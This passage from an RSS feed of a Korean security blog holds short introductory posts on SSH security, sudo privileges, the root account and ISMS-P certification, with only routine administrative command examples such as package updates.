&lt;td data-end=&quot;1170&quot; data-start=&quot;1149&quot; data-col-size=&quot;sm&quot;&gt;기본 포트 스캐닝 후 공격 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1175&quot; data-start=&quot;1172&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1189&quot; data-start=&quot;1177&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1278&quot; data-start=&quot;1190&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SSH 보안 = 원격 서버 접속 시 안전한 암호화 통신을 유지하고, 접근 제어&amp;middot;인증 강화&amp;middot;로그 모니터링 등을 통해 시스템을 보호하는 보안 관리 활동&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/374</guid>
      <comments>https://toastfactory.tistory.com/374#entry374comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:36:46 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] sudo 권한이란?</title>
      <link>https://toastfactory.tistory.com/373</link>
      <description>&lt;h1 data-end=&quot;55&quot; data-start=&quot;37&quot;&gt;  1. sudo 권한이란?&lt;/h1&gt;
&lt;p data-end=&quot;163&quot; data-start=&quot;57&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;sudo(Superuser DO)&lt;/b&gt; 권한은 &lt;b&gt;일반 사용자 계정이 일시적으로 root(최고 관리자) 권한을 사용하여 시스템 명령을 실행할 수 있는 권한&lt;/b&gt;을 말해.&lt;/p&gt;
&lt;p data-end=&quot;169&quot; data-start=&quot;165&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;227&quot; data-start=&quot;171&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;root 계정 없이도 제한된 시간/명령에 한해 최고 권한 명령을 수행할 수 있게 해주는 권한&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;277&quot; data-start=&quot;229&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;252&quot; data-start=&quot;229&quot;&gt;리눅스/유닉스 시스템에서 주로 사용&lt;/li&gt;
&lt;li data-end=&quot;277&quot; data-start=&quot;253&quot;&gt;보안 강화 + 관리 편의성을 동시에 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;282&quot; data-start=&quot;279&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;302&quot; data-start=&quot;284&quot;&gt;  2. sudo 권한 특징&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;특징설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;512&quot; data-start=&quot;304&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;512&quot; data-start=&quot;332&quot;&gt;
&lt;tr data-end=&quot;375&quot; data-start=&quot;332&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;348&quot; data-start=&quot;332&quot;&gt;&lt;b&gt;일시적 권한 상승&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;375&quot; data-start=&quot;348&quot; data-col-size=&quot;sm&quot;&gt;필요한 명령만 root 권한으로 실행 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;418&quot; data-start=&quot;376&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;388&quot; data-start=&quot;376&quot;&gt;&lt;b&gt;로그 기록&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;418&quot; data-start=&quot;388&quot; data-col-size=&quot;sm&quot;&gt;누가 어떤 명령을 실행했는지 기록 &amp;rarr; 추적 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;465&quot; data-start=&quot;419&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;431&quot; data-start=&quot;419&quot;&gt;&lt;b&gt;접근 제어&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;465&quot; data-start=&quot;431&quot; data-col-size=&quot;sm&quot;&gt;/etc/sudoers 파일에서 사용자별 권한 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;512&quot; data-start=&quot;466&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;478&quot; data-start=&quot;466&quot;&gt;&lt;b&gt;보안 강화&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;512&quot; data-start=&quot;478&quot; data-col-size=&quot;sm&quot;&gt;root 직접 로그인 제한, 최소 권한 원칙 적용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;517&quot; data-start=&quot;514&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;537&quot; data-start=&quot;519&quot;&gt;  3. sudo 사용 예시&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;# 시스템 업데이트 (root 권한 필요)&lt;/span&gt;&lt;/span&gt;&lt;span&gt; sudo apt update &lt;/span&gt;&lt;span&gt;&lt;span&gt;# 패키지 설치&lt;/span&gt;&lt;/span&gt;&lt;span&gt; sudo apt install nginx &lt;/span&gt;&lt;span&gt;&lt;span&gt;# 파일 소유자 변경&lt;/span&gt;&lt;/span&gt;&lt;span&gt; sudo &lt;/span&gt;&lt;span&gt;&lt;span&gt;chown&lt;/span&gt;&lt;/span&gt;&lt;span&gt; user:user /var/www/html &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;747&quot; data-start=&quot;673&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;707&quot; data-start=&quot;673&quot;&gt;sudo 명령어 입력 후 사용자 비밀번호 인증 필요&lt;/li&gt;
&lt;li data-end=&quot;747&quot; data-start=&quot;708&quot;&gt;/etc/sudoers 파일에서 명령어/사용자별 권한 제어 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;752&quot; data-start=&quot;749&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;778&quot; data-start=&quot;754&quot;&gt;  4. sudo와 root 계정 비교&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분root 계정sudo 권한
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;994&quot; data-start=&quot;780&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;994&quot; data-start=&quot;841&quot;&gt;
&lt;tr data-end=&quot;881&quot; data-start=&quot;841&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;847&quot; data-start=&quot;841&quot;&gt;로그인&lt;/td&gt;
&lt;td data-end=&quot;859&quot; data-start=&quot;847&quot; data-col-size=&quot;sm&quot;&gt;직접 로그인 가능&lt;/td&gt;
&lt;td data-end=&quot;881&quot; data-start=&quot;859&quot; data-col-size=&quot;sm&quot;&gt;일반 사용자 로그인 후 명령 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;920&quot; data-start=&quot;882&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;890&quot; data-start=&quot;882&quot;&gt;권한 범위&lt;/td&gt;
&lt;td data-end=&quot;899&quot; data-start=&quot;890&quot; data-col-size=&quot;sm&quot;&gt;전체 시스템&lt;/td&gt;
&lt;td data-end=&quot;920&quot; data-start=&quot;899&quot; data-col-size=&quot;sm&quot;&gt;지정 명령만 가능 (설정 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;962&quot; data-start=&quot;921&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;926&quot; data-start=&quot;921&quot;&gt;보안&lt;/td&gt;
&lt;td data-end=&quot;948&quot; data-start=&quot;926&quot; data-col-size=&quot;sm&quot;&gt;위험 (실수 시 시스템 전체 영향)&lt;/td&gt;
&lt;td data-end=&quot;962&quot; data-start=&quot;948&quot; data-col-size=&quot;sm&quot;&gt;제한적, 추적 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;994&quot; data-start=&quot;963&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;971&quot; data-start=&quot;963&quot;&gt;로그 기록&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;977&quot; data-start=&quot;971&quot;&gt;제한적&lt;/td&gt;
&lt;td data-end=&quot;994&quot; data-start=&quot;977&quot; data-col-size=&quot;sm&quot;&gt;명령 실행 시 모두 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;999&quot; data-start=&quot;996&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1019&quot; data-start=&quot;1001&quot;&gt;  5. sudo 권한 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1117&quot; data-start=&quot;1021&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1047&quot; data-start=&quot;1021&quot;&gt;root 직접 로그인 제한 &amp;rarr; 보안 강화&lt;/li&gt;
&lt;li data-end=&quot;1066&quot; data-start=&quot;1048&quot;&gt;최소 권한 원칙 적용 가능&lt;/li&gt;
&lt;li data-end=&quot;1089&quot; data-start=&quot;1067&quot;&gt;사용자별 권한 세밀하게 관리 가능&lt;/li&gt;
&lt;li data-end=&quot;1117&quot; data-start=&quot;1090&quot;&gt;명령 실행 기록 &amp;rarr; 감사(Audit) 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1122&quot; data-start=&quot;1119&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1136&quot; data-start=&quot;1124&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1229&quot; data-start=&quot;1137&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;sudo 권한 = 일반 사용자가 필요할 때 일시적으로 root 권한으로 명령을 실행할 수 있게 해주는 권한으로, 보안을 강화하면서 관리 편의성을 제공한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/373</guid>
      <comments>https://toastfactory.tistory.com/373#entry373comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:28:23 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] root 계정이란?</title>
      <link>https://toastfactory.tistory.com/372</link>
      <description>&lt;h1 data-end=&quot;55&quot; data-start=&quot;37&quot;&gt;  1. root 계정이란?&lt;/h1&gt;
&lt;p data-end=&quot;136&quot; data-start=&quot;57&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;root 계정은 &lt;b&gt;리눅스(Linux)나 유닉스(Unix) 계열 운영체제에서 모든 권한을 가진 최고 관리자 계정&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;142&quot; data-start=&quot;138&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;176&quot; data-start=&quot;144&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;시스템 전체를 제어할 수 있는 최상위 관리자 계정&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;254&quot; data-start=&quot;178&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;214&quot; data-start=&quot;178&quot;&gt;모든 파일, 디렉터리, 프로세스, 사용자 계정을 관리 가능&lt;/li&gt;
&lt;li data-end=&quot;254&quot; data-start=&quot;215&quot;&gt;시스템 설정 변경, 소프트웨어 설치/삭제, 보안 설정 조정 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;259&quot; data-start=&quot;256&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;279&quot; data-start=&quot;261&quot;&gt;  2. root 계정 특징&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;특징설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;483&quot; data-start=&quot;281&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;483&quot; data-start=&quot;309&quot;&gt;
&lt;tr data-end=&quot;347&quot; data-start=&quot;309&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;321&quot; data-start=&quot;309&quot;&gt;&lt;b&gt;권한 수준&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;347&quot; data-start=&quot;321&quot; data-col-size=&quot;sm&quot;&gt;시스템 전체 권한, 모든 명령 수행 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;397&quot; data-start=&quot;348&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;363&quot; data-start=&quot;348&quot;&gt;&lt;b&gt;접근 제한 필요&lt;/b&gt;&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;397&quot; data-start=&quot;363&quot;&gt;실수나 악성 코드에 의한 피해 가능 &amp;rarr; 사용 제한 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;433&quot; data-start=&quot;398&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;415&quot; data-start=&quot;398&quot;&gt;&lt;b&gt;패스워드 보호 필수&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;433&quot; data-start=&quot;415&quot; data-col-size=&quot;sm&quot;&gt;안전한 비밀번호 설정 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;483&quot; data-start=&quot;434&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;451&quot; data-start=&quot;434&quot;&gt;&lt;b&gt;sudo 사용 가능&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;483&quot; data-start=&quot;451&quot; data-col-size=&quot;sm&quot;&gt;일반 계정이 필요 시 root 권한 명령 수행 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;488&quot; data-start=&quot;485&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;511&quot; data-start=&quot;490&quot;&gt;  3. root 계정 사용 사례&lt;/h1&gt;
&lt;p data-end=&quot;534&quot; data-start=&quot;513&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;시스템 설치/업데이트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;561&quot; data-start=&quot;535&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;561&quot; data-start=&quot;535&quot;&gt;OS 설치, 패키지 관리, 보안 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;582&quot; data-start=&quot;563&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;사용자/그룹 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;603&quot; data-start=&quot;583&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;603&quot; data-start=&quot;583&quot;&gt;계정 생성, 삭제, 권한 변경&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;624&quot; data-start=&quot;605&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;시스템 설정 변경&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;655&quot; data-start=&quot;625&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;655&quot; data-start=&quot;625&quot;&gt;방화벽 설정, 네트워크 구성, 서비스 시작/중지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;675&quot; data-start=&quot;657&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;보안/백업 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;700&quot; data-start=&quot;676&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;700&quot; data-start=&quot;676&quot;&gt;로그 접근, 백업, 복원, 접근 제어&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;705&quot; data-start=&quot;702&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;728&quot; data-start=&quot;707&quot;&gt;  4. root 계정 보안 관리&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;844&quot; data-start=&quot;730&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;770&quot; data-start=&quot;730&quot;&gt;root 직접 로그인 제한 &amp;rarr; 일반 사용자 계정 + sudo 사용&lt;/li&gt;
&lt;li data-end=&quot;795&quot; data-start=&quot;771&quot;&gt;강력한 비밀번호 설정 + 주기적 변경&lt;/li&gt;
&lt;li data-end=&quot;816&quot; data-start=&quot;796&quot;&gt;SSH 접속 시 키 인증 사용&lt;/li&gt;
&lt;li data-end=&quot;844&quot; data-start=&quot;817&quot;&gt;중요 명령 실행 시 로그 기록 및 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;849&quot; data-start=&quot;846&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;863&quot; data-start=&quot;851&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;967&quot; data-start=&quot;864&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;root 계정 = 리눅스/유닉스 시스템에서 모든 권한을 가진 최고 관리자 계정으로, 시스템 설정과 사용자 관리를 포함한 모든 작업이 가능하며, 보안상 신중하게 사용해야 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/372</guid>
      <comments>https://toastfactory.tistory.com/372#entry372comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:27:19 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] ISMS-P란?</title>
      <link>https://toastfactory.tistory.com/371</link>
      <description>&lt;h1 data-end=&quot;52&quot; data-start=&quot;36&quot;&gt;  1. ISMS-P란?&lt;/h1&gt;
&lt;p data-end=&quot;151&quot; data-start=&quot;54&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;**ISMS-P(Information Security Management System &amp;amp; Personal Information Protection)**는&lt;/p&gt;
&lt;blockquote data-end=&quot;217&quot; data-start=&quot;153&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;217&quot; data-start=&quot;155&quot; data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;기업이나 기관이 정보보호 관리체계(ISMS)와 개인정보 보호 관리체계를 통합하여 운영하도록 인증하는 제도&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-end=&quot;226&quot; data-start=&quot;219&quot; data-ke-size=&quot;size16&quot;&gt;를 말해.&lt;/p&gt;
&lt;p data-end=&quot;232&quot; data-start=&quot;228&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;272&quot; data-start=&quot;234&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;정보보호 + 개인정보 보호를 한 번에 관리하고 인증받는 제도&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;358&quot; data-start=&quot;274&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;305&quot; data-start=&quot;274&quot;&gt;국내에서 한국인터넷진흥원(KISA)에서 인증 관리&lt;/li&gt;
&lt;li data-end=&quot;358&quot; data-start=&quot;306&quot;&gt;정보보호 관리체계(ISMS) 인증 + 개인정보보호 관리체계(PIMS/PIPL) 인증을 통합&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;363&quot; data-start=&quot;360&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;382&quot; data-start=&quot;365&quot;&gt;  2. ISMS-P 목적&lt;/h1&gt;
&lt;p data-end=&quot;404&quot; data-start=&quot;384&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;정보보호 체계 강화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;432&quot; data-start=&quot;405&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;432&quot; data-start=&quot;405&quot;&gt;기업 내 중요 정보, 시스템, 데이터 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;454&quot; data-start=&quot;434&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;개인정보 보호 준수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;475&quot; data-start=&quot;455&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;475&quot; data-start=&quot;455&quot;&gt;개인정보 처리 관련 법규 준수&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;493&quot; data-start=&quot;477&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;신뢰성 확보&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;525&quot; data-start=&quot;494&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;525&quot; data-start=&quot;494&quot;&gt;고객, 거래처, 금융기관 등에게 보안 신뢰성 증명&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;543&quot; data-start=&quot;527&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;리스크 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;569&quot; data-start=&quot;544&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;569&quot; data-start=&quot;544&quot;&gt;보안 위협, 사고 예방 및 대응 체계 마련&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;574&quot; data-start=&quot;571&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;596&quot; data-start=&quot;576&quot;&gt;  3. ISMS-P 인증 범위&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;725&quot; data-start=&quot;598&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;725&quot; data-start=&quot;626&quot;&gt;
&lt;tr data-end=&quot;673&quot; data-start=&quot;626&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;637&quot; data-start=&quot;626&quot;&gt;&lt;b&gt;ISMS&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;673&quot; data-start=&quot;637&quot; data-col-size=&quot;sm&quot;&gt;조직의 정보보호 관리체계, 보안 정책, 기술적&amp;middot;관리적 통제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;725&quot; data-start=&quot;674&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;692&quot; data-start=&quot;674&quot;&gt;&lt;b&gt;P&lt;/b&gt; (Privacy)&lt;/td&gt;
&lt;td data-end=&quot;725&quot; data-start=&quot;692&quot; data-col-size=&quot;sm&quot;&gt;개인정보 보호 관련 정책, 절차, 기술적&amp;middot;관리적 통제&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;769&quot; data-start=&quot;727&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;769&quot; data-start=&quot;727&quot;&gt;즉, ISMS-P = &lt;b&gt;ISMS + 개인정보보호 관리체계&lt;/b&gt; 통합 인증&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;774&quot; data-start=&quot;771&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;789&quot; data-start=&quot;776&quot;&gt;  4. 인증 절차&lt;/h1&gt;
&lt;p data-end=&quot;806&quot; data-start=&quot;791&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;예비 점검&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;826&quot; data-start=&quot;807&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;826&quot; data-start=&quot;807&quot;&gt;현황 평가, 개선 사항 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;848&quot; data-start=&quot;828&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;신청 및 문서 심사&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;876&quot; data-start=&quot;849&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;876&quot; data-start=&quot;849&quot;&gt;보안 정책, 절차, 기술적 통제 문서 제출&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;893&quot; data-start=&quot;878&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;현장 심사&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;913&quot; data-start=&quot;894&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;913&quot; data-start=&quot;894&quot;&gt;실제 시스템&amp;middot;보안 환경 점검&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;931&quot; data-start=&quot;915&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;인증서 발급&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;957&quot; data-start=&quot;932&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;957&quot; data-start=&quot;932&quot;&gt;기준 충족 시 ISMS-P 인증서 발급&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;974&quot; data-start=&quot;959&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;사후 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;992&quot; data-start=&quot;975&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;992&quot; data-start=&quot;975&quot;&gt;정기 심사, 개선 사항 반영&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;997&quot; data-start=&quot;994&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1016&quot; data-start=&quot;999&quot;&gt;  5. ISMS-P 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1118&quot; data-start=&quot;1018&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1032&quot; data-start=&quot;1018&quot;&gt;법규 및 규제 준수&lt;/li&gt;
&lt;li data-end=&quot;1050&quot; data-start=&quot;1033&quot;&gt;기업 정보보호 수준 향상&lt;/li&gt;
&lt;li data-end=&quot;1067&quot; data-start=&quot;1051&quot;&gt;고객/거래처 신뢰 확보&lt;/li&gt;
&lt;li data-end=&quot;1090&quot; data-start=&quot;1068&quot;&gt;보안사고 예방 및 대응 체계 강화&lt;/li&gt;
&lt;li data-end=&quot;1118&quot; data-start=&quot;1091&quot;&gt;금융권, 공공기관 거래 시 필수 인증으로 인정&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1123&quot; data-start=&quot;1120&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1137&quot; data-start=&quot;1125&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1236&quot; data-start=&quot;1138&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ISMS-P = 기업의 정보보호 관리체계(ISMS)와 개인정보 보호 관리체계를 통합해 인증받는 제도로, 정보보호와 개인정보 보호를 동시에 강화하고 신뢰성을 증명한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/371</guid>
      <comments>https://toastfactory.tistory.com/371#entry371comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:22:56 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 방화벽이란?</title>
      <link>https://toastfactory.tistory.com/370</link>
